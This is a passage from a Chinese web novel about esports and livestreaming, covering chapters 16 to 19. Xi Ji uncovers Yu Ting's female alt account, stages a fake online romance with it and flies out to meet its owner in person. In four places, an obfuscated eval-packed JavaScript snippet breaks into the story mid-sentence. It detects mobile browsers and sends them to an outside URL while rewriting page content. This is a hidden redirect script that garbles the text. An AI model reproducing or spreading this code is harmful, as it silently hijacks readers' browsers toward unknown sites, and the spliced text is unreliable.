但是察觉自己的心意之后，他就不愿意将曾经那狼狈的一面展现出来了。更害怕展现出来后，郗霁会像他曾经的那些玩伴一样疏远嫌弃他，仿佛他有传染的疾病。 盯着郁听的反应，郗霁扯了扯嘴角，不禁莞尔。 如果说的是真的，将事实讲出来就好，有什么可纠结犹豫的，他又不是问什么见不得人的秘密。 这样只能说明，刚刚的话是诓他的。 亏他刚刚还真信了，还真期待对方能说出个子丑乙卯来。 郗霁深深看了他一眼，一言不发地转身往外走。 郁听下意识地伸手去拉，“哥！” “两个大男人在洗手间门口拉拉扯扯的，影响多不好，你想我们今天都出名吗？”郗霁看向远处往这边走过来的两人，深呼一口气说。 闻言，郁听忙松了手，站在原地，看着郗霁的背影越来越远。 “弦耳，你怎么了？” 走过来那两人是一个是此次受邀的主播，一个是职业选手，见他呆愣在洗手间门口，奇怪地问。 “没什么。”郁听笑笑，转身欲走，下一刻，脚步一顿，拿出手机查看了起来，待看清发信人后，原本拧着的眉微微舒展开来。 转角处，郗霁刚故意给偷吃月亮发送了微信消息，就听见空荡的走廊里传来凑巧的新消息提示音。 [Clear：忘记问了，你原本是为哪位主播或者选手买票的？] [偷吃月亮：我也喜欢immortal。] 郗霁通过玻璃的倒影，紧紧盯着郁听低头回复消息的动作，随后，他也低下头，指尖在屏幕上快速敲击。 [Clear：这样巧吗？] [Clear：我还以为你们小姑娘大都喜欢弦耳那款。] [偷吃月亮：为什么呀？] [Clear：可能长得帅？] [偷吃月亮：那你觉得他帅，是也喜欢他的长相吗？] 连续被欺骗的愤怒，开始让郗霁带上了反向滤镜，他否认。 [Clear：不喜欢。] [Clear：小白脸欣赏不来。] 此次银河电竞杯邀请了十位职业选手和十位游戏主播。 为平衡职业选手与主播的实力并增加趣味性，二十位参赛选手对的名字都会进入选手池，然后由四位队长来随机抽签决定自己的队伍里剩下的4名队员是谁。 当然，如果队长手气好的话，还可能让他抽到4位实力顶尖的选手组成的“银河战舰”队。 赛前选出来的4位队长分别是：北斗的immortal，HGR的亦欢，主播渡云川和泛舟湖上。 很快，四位队长轮流上场抽签，从选手池中选择自己的队友。 队伍划分好之后，先进行第一组的比赛，比赛采用BO3（三局两胜制）和全局BP。 第一组上场的是HGR的亦欢带领的队伍对上泛舟湖上带领的队伍。 亦欢队伍里有3位职业选手，而泛舟湖上的队伍里很可惜只有两名职业选手，最后二比零速度结束了比赛。 第二组，由北斗的immortal带领的队伍对上渡云川带领的队伍。 immortal笑眯眯地看着分到自己队伍的人，“看来我运气挺好的，弦耳打野，Stream打ADC，我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368147|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上单，两位主播朋友都是中单位，分一位去打辅助，位置都还不算撞。” 虞淼川深以为然地点头，也佩服immortal的手气，“尤其是我跟郁听还是一支战队的，合作惯了，这一次还不手到擒来。” “你说对吧？郁听？”虞淼川见他心不在焉，抬手撞了他一下，“你怎么了？” “嗯，对。”郁听回过神来，不经意地往观众席看去。 郗霁的票是他给的，所以他清楚地知道郗霁的位置在哪里。 但是他也不敢多看，很快收回眼，跟着大家入座。 郗霁认真地看着，都说immortal的操作下滑了，但是打这种娱乐局，倒是一点儿也看不出来，依旧很强，他们二比零也赢得很轻松。 中途休息结束之后，就该两支胜者组进行决赛了。 可能因为immortal跟天阙的关系，HGR的亦欢也有些被迁怒到了，现场观众的气氛开始剑拔弩张了起来，比正在场上比赛的正主还在乎输赢。 分在亦欢队伍的两名职业选手分别是梵音和羲和，其中羲和是辅助，梵音却跟亦欢同为中单撞位置了，然后梵音换去了打野位。 梵音的打野也挺强的，路人局的话，肯定也是带飞的存在，但他对面也是三位实力强劲职业选手，其中跟他相对的打野位还是现役打野选手中的第一梯队，所以从第一波Gank开始就慢了一步。 然后，对面的immortal在上路开花，Stream在下路开花，唯有己方的亦欢还在中路顺风，但后面弦耳腾出手来，抓死了他两次，也开始掉中塔，梵音的野区从此成了公共区域。 这样的套路屡试不爽，最后immortal带领队伍二比一结束比赛。 娱乐赛的奖杯对职业选手来说没什么吸引力，但是队伍里的两名主播挺高兴的，比赛结束后分开时，还单独跟三位职业选手合了影。 郗霁顺着观众席散场的人流往下走，去找渡云川，跟他说一声便准备走了。 但却恰巧碰见了虞淼川。 “嘿，你今天也来了！” 看见郗霁，虞淼川开心地打招呼。虽然郁听跟他们说郗霁可能大概率不会加入战队了，但这种事本来就是你情我愿，不能当队友，场外也可以做朋友的。 “对，来看比赛，恭喜你。”郗霁面色如常地回应着虞淼川。 “嗐，运气好运气好！”虞淼川谦虚地摆摆手，看郗霁从观众席过来，又不是来找他们的，便问，“找人啊？” “嗯，找个朋友。” “那你去吧，不打扰你了。” 郗霁点点头，视线径直忽略一旁的郁听，往后台走去。 “你们吵架了？”等他走远后，虞淼川忽然问。 郁听收回视线，“很明显吗？” “废话！我又不瞎。” 郗霁找到渡云川的时候，对方有点沮丧，郗霁也不知道如何安慰，只能干巴巴地说：“没关系，你的野区能守到十分钟左右才崩，已经很厉害了。” “去你的。”渡云川一脸悲愤地抬起头，“有你这么安慰人的吗？” “那你想我怎么说？” 渡云川作为主播，倒是没有太大的胜负欲，很快便想通了。 只是他前面掉粉得那么厉害，本来这次想赢得比赛让流量回暖一下，结果运气差了点。 他思考片刻，忽然问：“你说，我照着弦耳的样子去捯饬自己，会不会把掉了的那些女粉丝重新吸引回来？” 郗霁看着他，片刻后，面色凝重地提出建议：“可能，需要先去隔壁韩国大整一番？” 回去的路上，郗霁点开偷吃月亮的微信主页，指尖在删除好友的选项上犹疑不定。 他现在已经确认偷吃月亮和郁听是同一个人了。 真是阴魂不散，锲而不舍！ 是不是他把这个好友删了之后，还会有下一个来故意纠缠的偷吃太阳，偷吃星星？ 思索再三后，郗霁放弃了删除好友的这个想法。 既然已经被缠上了，那就两害相权取其轻，敌在明还是敌在暗还不好选吗？ 而且，他也是可以反过来套路和利用对方的。 毕竟，这可是自己送上门来的！ 17. “告白” 蓝色的跑车平稳地行驶在大道上，两旁的霓虹灯飞速倒退，映在郗霁的眼底，却没有引起半分波澜。 又一个长时间的红绿灯十字路口，郗霁重新拿过手机划开屏幕，看着最上方的聊天列表弹出新消息。 [偷吃月亮：我想了很久，还是不认同弦耳是小白脸。] [偷吃月亮：他只是皮肤好显白，但是整体看起来非常有男子气概。] 郗霁嘴角勾起一抹极淡的弧度，但笑意里没有什么温度。 [Clear：哦，原来你喜欢弦耳。] [偷吃月亮：不是……] [Clear：但是你很激动。] [Clear：他是你之前的打野CP吗？] [偷吃月亮：当然不是！] [偷吃月亮：好吧，我也可以算是他的粉丝，技术粉！] [偷吃月亮：你是很讨厌他吗？] 这时，路灯信号灯变换，身后有汽车鸣笛催促，郗霁启动车辆，过了路口之后找了个合适的路边停了下来，接着回复。 [Clear：讨厌啊。] [偷吃月亮：哦。] [偷吃月亮：那我以后也讨厌他了。] 看着消息，郗霁低低地笑出了声，自己讨厌自己，可还行？ 但面对网线另一头的人，还是要装作不知道。 [Clear：为什么？] [偷吃月亮：你讨厌他肯定有理由，他肯定是有让人讨厌的地方。] 郗霁人懒懒地靠在椅背上，指尖漫不经心地敲击着屏幕。 不得不说，无论是郁听还是还是现在的马甲“偷吃月亮”，都挺对他胃口的。 但一想到这就是量身为他打造的，郗霁的心情略复杂。 [Clear：你不是也是他的粉丝吗？这样厚此薄彼的，好吗？] [偷吃月亮：可能是我只欣赏他的技术，但是却想要成为你的对象吧。] 晚风从半开的车窗送进来，带着一丝凉意，郗霁却毫无察觉，他没再立即回复消息，原本悬停在屏幕上方的手慢慢收回，视线落在最后一条消息上，思考良久，最后，做了个违背祖宗的决定。 既然要玩，那就玩点大的吧。 这天，郗霁主动出击。 [Clear：今晚上线吗？双排？] 那一边很快回复。 [偷吃月亮：排！等我几分钟，马上上线！] 趁着这会时间，郗霁先上线并打开了直播。 晚上8点，正是流量的高峰阶段，直播间的人数也上得很快。 【来了！】 【终于又直播了！】 【我来晚了没？】 【主播开学了吗？】 郗霁调试好了设备后选择弹幕回答：“还没有，开学时间晚。” 【羡慕，我已经开学了，刚下晚自习。】 【社畜还在加班，真羡慕你们学生。】 【怎么还不开始游戏啊？】 “等个人。”郗霁说，“不是你们弋哥，是一位女友粉。” 【？】 【？？】 【什么情况，我听错了？】 郗霁端起手边的水喝了一口，瞥见直播间弹幕里满是刷屏的问号，笑了一下，建好房间邀请刚刚上线的偷吃月亮，对着麦克风说：“他来了。” 直播间里，看过上两场直播的粉丝认了出来。 【这不是之前那个粉丝吗？】 【已经这么熟了吗？这些天究竟发生了什么？】 【我这是要见证又一位主播跟粉丝的爱情了吗？】 【Ohnonono……】 很快，两人的头像出现在组队房间里，郗霁打开队伍语音，问：“开麦吗？” 等了好一会儿，郗霁才看到偷吃月亮头像底下的麦克风图标显示为打开的状态。 偷吃月亮：“你在直播吗？” 声音跟上次没什么差别。 “对。”郗霁回答说。 他们已经匹配好了队友跟对手，进入了BP页面，郗霁在四楼，轮到他禁英雄了，他的视线在一众英雄的头像上移动，最后禁了一个超标的ADC。 郗霁排位的时候，Ban位一般是给超标的上单跟打野的，这还是他第一次主动禁一个ADC，他无视掉弹幕刷是不是手滑的弹幕，接着之前的话说：“介意吗？介意的话我将直播关了。” 【？】 【？？？？】 【好好好，这么对我是吧！！】 【主播疯了？？】 【Hello，主播是被夺舍了吗？】 【我这是被塞了一口狗粮吗？】 另一边，郁听正坐在宿舍里，他面前的显示屏显示的游戏画面正好跟郗霁是同一局，他指尖在键盘上顿了半秒，才用刻意放软的声线对着麦克风开口：“不介意。” 但在郗霁那边听见的，则是温和轻柔的女音。 他满意地扯了扯唇：“那就行，这局你玩什么？” “我拿‘结界之灵’吧。” 郗霁也很快下了决定：“那我玩‘聆弦之矢’。” “你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368148|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要玩ADC吗？”偷吃月亮惊讶地说。 “对，方便跟你一起走下路。”郗霁锁了英雄后，又问，“你有‘星语祈愿’的皮肤吗？” ‘结界之灵’跟‘聆弦之矢’有情侣系列的皮肤，‘结界之灵’是‘星语祈愿’，‘聆弦之矢’是‘月影守望’。 “我没有。”偷吃月亮失落地说。 “那等这局结束我送你一个。” 【完了完了，主播陷入爱河了！】 【谁有没眼看的表情包甩我几张。】 接下来的几天，郗霁总是在直播时邀请偷吃月亮双排。 面对郗霁的热情，郁听的心情很复杂。一方面，他嫉妒能被郗霁如此对待的马甲“偷吃月亮”，因为他的大号现在还都没有从郗霁黑名单里面放出来。 但是另一方面，又忍不住用“偷吃月亮”这个马甲接近，享受这原本不该是属于他的温柔和热情。 如果可以的话，他愿意像个见不得光的小偷一样，戴着面具，每天在游戏里做他的贴身辅助。 直到—— 这天，他们刚结束了几场游戏，已经互道晚安准备下线了，在还没有退出组队房间前，他没忍住问：“你原来也会这样带粉丝吗？” “不会，你是第一个。”郗霁很快回答。 “那会不会对你有影响？” “什么影响？” “你的女友粉好像很多，我们总是这样双排，她们好像很生气。” 这两天双排的时候，郁听也有同时观看郗霁的直播间，直播间的那些弹幕，他大部分都看见了。 郗霁的粉丝构成中有很大一部分是女友粉，虽然因为这两天他们高频率的双排一大部分女友粉已经摆烂不管了，但他偏要盯着言语尖锐的那一部分人这样问。 “没事，他们对我也只是喊喊口号，我一下播的话，她们肯定又去看其他人了。” “但我不是喊口号而已，我是真心喜欢你的。”借着“偷吃月亮”的面具，郁听才敢将心里的隐秘的喜欢光明正大地说出来。 “嗯，我知道，所以我也只是跟你双排。”郗霁无视直播间已经炸开了锅的弹幕，嘴角勾出个极淡的弧度，带着点意料之外的笑意。原本他还在想怎么做才不突兀，没有想到他竟然自己主动提起来了。 郗霁往后靠了靠，单手撑着下巴，面容一半隐藏在了黑暗当中，晦暗不清的神情带上了愈加强势的侵略感，但语气却故意略显紧张。 “我这些天总是找你双排，还专门用我不擅长的ADC，还送你皮肤跟英雄，你真的不理解我是什么意思吗？” 18. 陷入爱河 对于这种事，郗霁没什么经验，这是他第一次跟人告白，虽然是假的，只能凭借看来的经验说着，一边观察对面的反应。 估计对面也挺懵的，语音喇叭闪烁着，但一直没有说话。 见此，郗霁好心地将直播间关了，然后说：“别紧张，你可以慢慢考虑。” 如果对方拒绝，想必以后也不在好意思来找他了。 如果还想要接近他，恐怕不好意思不答应。 反正哪种结果他都不亏。 另外一边，郁听被巨大的喜悦砸中，心脏猛地一缩，像被投入一颗炸雷，好半天才找回声音。 “你说真的？真的让我考虑？不后悔？” “不后悔。” “那我没什么好考虑的。”原本，郁听以为他只能在无人的角落里，抱着心里汹涌的暗恋一点点地爬行，从没有奢求能展露于人前。 但没有想竟然遇见天上掉馅饼的好事，所以他收回之前只求能做游戏好友的想法，认真地说：“只要你不反悔。” 软萌的声音，语气却是难得的严肃，郗霁闻言一愣，自动转换成对方原本的声音，配上这么凝重的语气，好像也挺稀奇。 郗霁扬了扬眉，继续cue流程：“那我们现在就是情侣了，那我还没有问你，叫什么名字？” “林幻。” “林幻……”郗霁重复了一遍这个名字，“双木林？幻觉的幻？” “双木林，幻想的幻。” “很好听，很适合你。”郗霁说，“我叫郗霁，郗是耳朵旁加一个希望的希，霁就是霁月的霁。” 虽然对方早已经知道他的名字，他这个自我介绍显得多余，但为了不提前露馅，这一趴也不能省。 “你的名字也很好听。”那边说道。 郗霁笑了笑，没有作答，扫了眼屏幕右下角的时间，“时间很晚了，早点睡吧，女……朋友。” 既然对方要装，那当然是将人按死在女朋友的位置上，等到将来出柜的时候，更加社死的人不是他。 “晚安，男朋友。” 退出组队房间之后，郗霁心情复杂地靠回椅子上。因为父母婚姻不顺的缘故，使得他对谈恋爱这件事无感，一直单身到现在。 没有想到第一次告白，是对着一个男人，虽然是伪装出来的马甲是女的，但背后终究是一个跟他一样的男人。 缓了两秒后，郗霁拿过手机，点开便签，开始规划接下来的假恋爱要怎么进行。 确定恋爱关系之后，对于郗霁的生活改变倒是不大，只是每天消息发得勤了些，固定时间上线甜蜜双排，在直播间撒撒狗粮。 作为粉丝来说，观看的主播忽然改变直播风格，改变直播常用英雄跟位置，一部分粉丝开始怨声载道。 【这主播是谁，我好陌生……】 【救命！我是来看操作的，不是来吃狗粮的！】 【我记得我关注的是一个主玩上单的主播，现在该走下路了？？？】 【主播你还记得你说过的这辈子都不可能玩脆皮AD吗？】 而游戏界面里，大龙坑的团战正打得火热。郗霁指尖在键盘上跳动，操纵着“溯风射手”在自家辅助的掩护下不断输出。 “溯风射手”是一个集位移，控制，伤害于一体的ADC，先后点残了敌方的辅助跟上单，还收下了敌方打野的人头。 对面的上单是坦克英雄“熔岩守卫”，“熔岩守卫”见走不了了便开着霸体朝着“溯风射手”的方向冲撞过来，想临死前换一个输出，但“溯风射手”一个R技能拉开身位，躲开冲撞，同时在“熔岩守卫”霸体结束的第一时间打出伤害跟控制，拿下双杀。 Double kill！ 敌方中单跟AD想跑，郗霁一边盯着屏幕，一边对着提醒队友，同时鼠标快速移动，看见对面交出控制，处在技能真空期，毫不犹豫地闪现接平A留人。“溯风射手”脚底下踩着红Buff，普通攻击命中目标后，不仅会对其造成持续2秒的真实伤害，还会减少目标15%的移动速度，拥有极强的风筝对手的能力和追杀能力。 平A了没几下，对面的中单跟AD也双双倒下了。 Triple kill！ Quadra kill！ 技术流游戏主播拿下四杀是家常便饭，往往哪一局没有Carry才会被质疑技术退步。所以直播间除了稀稀疏疏的彩虹屁，大部分还是聚焦在他的感情生活上。 不过好在，无论是郁听，还是他现在的马甲“偷吃月亮”，都是一个很会提供情绪价值的对象，在四杀的语音播报刚结束时就跟着夸道：“老公好厉害！” 郗霁含糊不清地应了一声，哪怕是这两天已经听见过很多遍了，他依旧还是有些不习惯。 第一次被喊老公的时候，是郗霁第一次透露想奔现的想法的时候。 他知道对方现在肯定不会不敢奔现，只是想给对方压力。 后来不知道怎么的，对方喊了声老公撒娇，一时把他喊愣了，所以便没有继续这个话题。 然后，对方就会错意了，以为他很喜欢这个称呼。 虽然思绪万千，但郗霁手上的动作没停，此时敌方只剩辅助一个趁乱逃走的漏网之鱼，根本守不住塔。 他操控着“溯风射手”，招呼这队友一起往对方高地推进，再进攻水晶。 用“溯风射手”点爆水晶后，郗霁在弹幕上扫了一圈，忽然说：“明天周末，你有空吗？” “白天依旧没什么时间。” 郗霁扬了扬眉，明知故问：“你的工作单位周末也不放假吗？” “不会放假。” “那这样的话，我们猴年马月能奔现？” 这已经是确定关系之后，郗霁第三次提出想线下见面的意思了。 他倒不是真的想奔现，就是心里看对方不顺眼，想给对方添添麻烦。 直播间的弹幕也很给力。 【网恋不见面，不是骗子就是丑！】 【线下见面没时间，视频电话的时间总应该有的吧？】 【百分之八十的可能是个不敢见人的丑八怪，还有百分之二十的可能是男的！】 【说实话，这么久都不知道对方长什么，真的很有问题！】 郗霁相信，这些弹幕对方也看见了。 果然，队伍语音里传来一阵沉默，女声才吞吞吐吐地响起：“我们现在这样不也挺……好的吗？我这边的工作一时半会也辞不掉，见面之后还是得异地。而且……我还没准备好，等我准备好了再来找你，行吗？” “你一直不答应见面，也不跟我视频，大家都怀疑我被骗了。”郗霁扫到一条说他也丑的弹幕，思绪一下被带偏了，“而且，你不想知道我长什么样吗？不担心我是一个丑八怪？” “你肯定不是，我猜你肯定长得很帅。” “你这么肯定吗？不是有那么多主播露脸翻车吗？” “我不怕，而且我喜欢你这个人，无论你长什么样，我都喜欢你。” “好吧。” 郗霁叹了口气，语气无不遗憾地说：“等你准备好了我们再见面吧。” 但心里却在说，这可由不得你了。 生活照旧，在还没有开学前，郗霁大多数时间都待在海城的公寓里，白天偶尔出去放风，大多时间都是在家里打游戏。 而对于他正进行的网恋，现实中根本无人知晓。 除了韩弋。 韩弋是在网恋关系确定后的第四天才知晓，可能是真的急了，竟然直接在游戏私信对他进行语音轰炸。 [独钓韩江雪：语音消息_60″] [独钓韩江雪：语音消息_45″] [独钓韩江雪：语音消息_36″] 第一条语音显示是五分钟前发的。 看着这么长的语音，哪怕发信人是郗霁从小穿一条裤子长大的朋友，他也不想听。而在直播间里，他也不好语音转文字，正想打电话过去，韩弋却已经先一步按捺不住打电话过来了。 手机嗡嗡地在键盘旁震动起来，郗霁瞥了眼来电显示，指尖直接划开接听键。 “你想问什么就问吧。”他关掉了直播间的麦克风。 “我去，铁树开花啊！”电话里传来韩弋惊讶的声音，“今天我上线的时候，好友申请列表爆了，我还以为是我上次偷偷单排坑了被人恶搞了，结果是很多你的粉丝来加我问情况，他们都说你谈恋爱了，是不是真的？” “是真的，是谈了，但你的消息有点太滞后了。” “What？什么时候的事？”电话那头的韩弋瞬间拔高了音量，那边哀嚎一声，“不是说兄弟一起手拉手，谁先脱单谁是狗吗？” “前两天……”郗霁想了想，“有说过这话吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368149|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这不重要，所以是谁让我兄弟动了凡心？等等，你先别说，让我猜猜。”韩弋兴奋地说，“是大四那个处处关照你的学姐，还是公开向你告白过的学妹？或者是你的其他暗恋者？” “都不是，是一个粉丝。” “卧艹！你艹粉？”韩弋的声音从听筒里传来，带着明显的难以置信。 “想多了，没到那一步，而且也不会到那一步。” 不是他的粉，并且还是男的。 “什么意思，你难道只是跟人家随便玩玩？” “到时候你就知道了。” “行吧，这么神秘！”韩弋虽然还是好奇，但没再多问，而是说，“来双排吗？” 郗霁看了眼时间，“他快上线了。” “那我走？” “倒也不用。” “算了，我还是走吧。”韩弋果断一个人去开了单排，开玩笑说，“等你线下带给我认识的时候，我再去当电灯泡吧。” 放下手机后，郗霁回到直播间，重新打开麦克风，看着弹幕开始闲聊。 “你们弋哥不来，他说不想当电灯泡，所以等会我还是和女朋友双排，他马上就上线了。” 【恋爱中的男人藏不了一点是吧？都开始重色轻友了！】 【主播已经从游戏主播转行成恋爱主播了。】 【笑死，我明明关注的是上单主播，现在却一直选AD跟女朋友黏黏糊糊地待在下路。】 【说实话，主播现在这么上头，对面一直又拖着不见面，我感觉不太妙！】 【确实有问题！】 【有问题+1】 【主播留个心眼吧，总感觉你被骗了？】 “能骗我什么？我送他的游戏皮肤，他都会换成礼物回赠送给我，现在就骗我点时间陪他打游戏。”郗霁装作不以为意，一副陷入爱河的愣头青模样，“至于什么礼物，我这两天陆陆续续收到了他买的衣服跟奶茶算吗？” 【奶茶？外卖员真的没有趁机偷看你的长相吗？】 【对对对，现在有那种网恋，专门点外卖上门让外卖员看对象长什么样的！】 【说不定就是对面看了主播的长相后，才不想奔现。】 【这么说的话，主播果然很丑了！】 “不会吧，我觉得我长得还可以。”郗霁反驳了一句，想到昨天收到的衣服，“你们说，我是不是该回个礼？也送一些衣服怎么样？” 说着，便打开了电脑上的网购软件，当着直播间的面看起了女装。 郗霁没什么恶趣味，看的女装都是中规中矩的，仿佛真的是在为女朋友认真挑选衣服。 他看了一会儿，收藏了几个年轻模特穿起来比较好看的套转跟裙子，喃喃道：“不过我还不知道地址，等拿到地址再给他送过去吧。” 见将自己想传达的东西传达得差不多了，郗霁的注意力回到游戏中去，这时，偷吃月亮终于上线了。 郗霁第一时间给他发了组队邀请，进入房间后，对方第一句话便是：“你朋友不跟我们一起上分吗？” 这人经常挂着他的直播间，郗霁是知道了，也没奇怪，只是说：“他不来了，我在网上给你看了几套衣服，想下单的时候，才发现还不知道你的身高和体型。” “不用，我衣服够穿，不用给我买衣服。” “你是不是觉得我还在念书，所以不想花我的钱。”郗霁的声音隐隐透着不开心和失落，“你放心，给你花的钱都是我直播赚的，没用家里的钱。” 热恋中的情侣，这个时候就应该不再拒绝对象的礼物了。 果然，那边没再拒绝，而是问：“你喜欢什么样的？” 郗霁听懂了潜台词，温柔地说：“高矮胖瘦都没有关系，我喜欢的又不是单一的外表。” “我个子比较高，骨架也比一般的女孩子大，你看着买吧。”偷吃月亮含糊地说道，“至于地址，我微信上发给你。” 很快，郗霁手机上的绿泡泡软件就收到了两条消息，一条是对方发来的详细地址，定位在几百公里外的崇明市。 第二条消息则是一句俏皮的谢谢老公^^。 郗霁盯着最后这四个字，神色略微复杂。 为了套路和接近他，牺牲还真是大。 也不知道等到后面奔现的时候，郁听回首来看这些天喊他的这么多声老公，会不会尴尬得钻进地底下去？ 19. 奔现 这天，郗霁收到了林经理的电话，他们约在一处咖啡馆见面。 郗霁离得近，他先到，过了十分钟左右，林经理才赶过来。 “抱歉来晚了，路上有点堵车。” 熟悉的声音从头顶传来，郗霁抬起头，看见林经理在对面拉开椅子坐了下来。 林经理穿着一身剪裁得体的黑色西装，头发打理得整整齐齐，脸上带着温和的笑意，跟他在Palmy俱乐部初见面时没什么两样。 “没事，是我到早了。”郗霁将菜单推过去，“不知道你想喝什么，就没给你点。” 林经理点了一杯拿铁，等服务员离开后，认真地看向郗霁，“听郁听说，你也是海城人，所以我就来了，虽然我知道上次你已经拒绝了我，但这次我还是想再跟你谈谈加入我们战队的事。” 林经理的眼里没有丝毫强迫，只有满满的诚意。 郗霁看着，慢慢垂下眼，问了个不想干的问题。 “你来邀请我加入战队的事，郁听知道吗？” 林经理一愣，如实说：“这是我跟你的单独见面，郁听他并不知道，他不怎么提倡让我私下联系你，怕给你压力。” 郗霁笑了一下，不置可否。 或许从前他会为对方这样的举动而感动，但在发现对方跟郗泽楷和郗晏有关系后，所有的一切行为在他看来都变得别有用心了。 “我希望你能认真考虑，还有一个月转会期窗口就要开始了，你如果有想要打职业的想法，就得趁早做打算了。”林经理眼底难掩期待，语气也十分真挚，“我不清楚你的顾虑，只是觉得你的天赋跟操作不应该就此埋没。” 在林经理的话音落后，郗霁便说：“我已经决定打职业了。” 指尖抵着杯壁，微凉的触感让郗霁十分清楚明白他在说什么，这是他之前就决定好的事。 “但是……”郗霁在林经理眼底浮现起惊喜前先一步打断他，“但是我还有一些私事要处理，可能会对你的队员产生一些影响，如果到时候林经理仍没有改变主意的话，就联系我吧。” …… 接下来的日子一切如常，郗霁在网上买的衣服也差不多到货了，在看到物流信息显示签收之后，立即在微信点开跟偷吃月亮的聊天列表提醒。 [Clear：衣服收到了吗？] 两分钟后，那边回复。 [偷吃月亮：嗯嗯收到了。] [Clear：尺码合适吗？] [偷吃月亮：合适的。] [Clear：合适的话，能穿上我看看吗？我一直还有些担心买大了。] [偷吃月亮：嗯……你是不是又想趁机看我长什么样？] [偷吃月亮：我这两天上火脸上起了痘，状态不好，不给你看！] 郗霁看完这两条理由，面无表情地回复。 [Clear：我没那个意思，我只是看看合不合适，那你别拍脸行了吧。] [偷吃月亮：哼哼~行吧，不过你要等一下，这两天在外地出差，回家了才能穿给你看。] 郗霁估摸着，快递从崇明市转寄到Palmy基地去，大概也就是两天左右的样子，便爽快地答应了。 不过这样来看，崇明市那个地址也不是郁听随便给的假地址，至少说明那里有帮他签收和转寄快递的熟人。 两天之后，偷吃月亮如约发了一组图片过来。 照片中没有露脸，只拍到了胸部以下的部分，他的大长腿也没有露出来。 郗霁将图片放大又放大，仔仔细细地看了一遍，最后实在没忍住笑出了声。 一个接近一米九的大个子为了看起来只有一米七五左右，应该蛮考验拍摄角度和p图技巧的。 郗霁憋着笑，但编辑的信息就又是另外一副态度了。 [Clear：/害羞] [Clear：这算是情人节礼物吗？] [偷吃月亮：/害羞] [偷吃月亮：那你是不是也应该礼尚往来，交出你的照片来作为送我的情人节礼物？] [Clear：当然准备好了。] 郗霁将今天的机票截图发过去。 [Clear：所以今天穿这件衣服出来约会好吗？] 午后的阳光还带着几分柔和，透过汽车前挡风玻璃，在方向盘上投下浅金色的光晕，郗霁坐在驾驶座，一只手搭在方向盘上，指尖在手机屏幕边缘缓慢敲击。 头顶的“正在输入中”反复显示了好几次，但仍没有一言半语的消息发过来，郗霁估摸着郁听被吓得不清。 见实在是等不到那边回复，郗霁复点开聊天框，强势地说了一句。 [Clear：不允许拒绝，机票退不掉了，我马上也到机场了。] 随后，郗霁再不等对方的消息，将手机调成静音，随手扔向副驾驶座，启动车辆，径直往机场的方向驶去。 他今天就是去奔现的，不担心郁听不来，因为他给他的地址精确到了小区楼栋跟门牌号，他都上门了，人总不能不来吧。 出机场的时候，郗霁的手机上已经有十多条未接电话了，他拨通过去，那边却没有接通，看样子，郁听差不多也坐上最近一趟航班往这边赶了。 坐上出租车之后，郗霁顺手开了直播，直播间标题叫“情人节惊喜”。 人数持续上升，弹幕也多了起来。 【我去，原来主播的设备是有摄像头的啊！】 【情人节惊喜是什么意思？是给粉丝直播吗？这福利可不够！】 【哇哦~我看了霁月的直播这么多年，这还是第一次看见主播开摄像头！】 【但是怎么是后置摄像头？敢不敢把前置摄像头打开让我们看看你长什么屌样！】 【这是在外面？准备去哪里啊？】 郗霁的摄像头对准的是车窗外，他看了会外边飞速后退的街景，视线才回到弹幕上。 “大家情人节快乐。” “我是在外面，在去找女朋友的路上。” “还没有见到人，先跟你们聊会天。” 从机场到目的地只有半个多小时的路程，郗霁一路播到下车，付完车费后，才对大家说：“我手机电量不多，先找个位置等，等见到人了再给你们播吧。” 关闭直播间后，郗霁抬眼看了眼天色，恰好与渐暗天幕里最先冒出来的几颗星子遥遥相对，眨了眨眼。 出弓便没有回头箭了，他重新低下头，在聊天记录中再次翻看地址，确定没错后，找到小区大门跟门卫交涉后走了进去，然后沿着门卫大爷给他指的方向找到对应的单元楼。 乘坐电梯到十三楼后，郗霁站在贴着“1305”门牌号的门前停下，抬手在深棕色的木门上扣了扣。 几秒钟后，门内传来轻微的脚步声，随后门锁 “咔哒”一声被打开，门缓缓拉开，一位二十五岁上下的女性出现在门口。 她穿着一件米白色的居家毛衣，长发松松地挽在脑后，脸上化着淡淡的妆容，一双眼睛明亮又温和，长得倒是跟郁听有两三分像。 看向郗霁时，眼里带着恰到其分的疑惑。 “你找谁？” “请问，林幻是在这里吗？”郗霁礼貌地询问，见女人一脸茫然，复提醒，“我前两天往这寄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 